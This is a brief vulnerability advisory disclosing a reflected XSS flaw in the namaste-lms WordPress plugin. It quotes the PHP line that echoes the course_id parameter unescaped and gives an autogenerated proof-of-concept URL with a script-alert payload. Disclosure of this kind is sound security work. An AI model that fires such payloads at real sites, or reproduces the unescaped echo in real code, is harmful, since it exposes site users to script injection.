Advisory #: 219
Title: Reflected XSS in wordpress plugin namaste-lms v1.7.0.3
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/namaste-lms
Downloads: 48755
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: namaste-lms
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./namaste-lms/views/gradebook.html.php: 22: <tr><td><a href="admin.php?page=namaste_student_lessons&course_id=<?php echo $_GET['course_id']?>&student_id=<?php echo $student->ID?>" target="_blank"><?php echo $student->user_nicename?></a></td> The variable course_id appears to send unsanitized data back to the users browser.
CVE-ID: Not Released
File:./namaste-lms/views/gradebook.html.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. http://[target]/wp-content/plugins/namaste-lms/views/gradebook.html.php?course_id="><script>alert(1);</script><"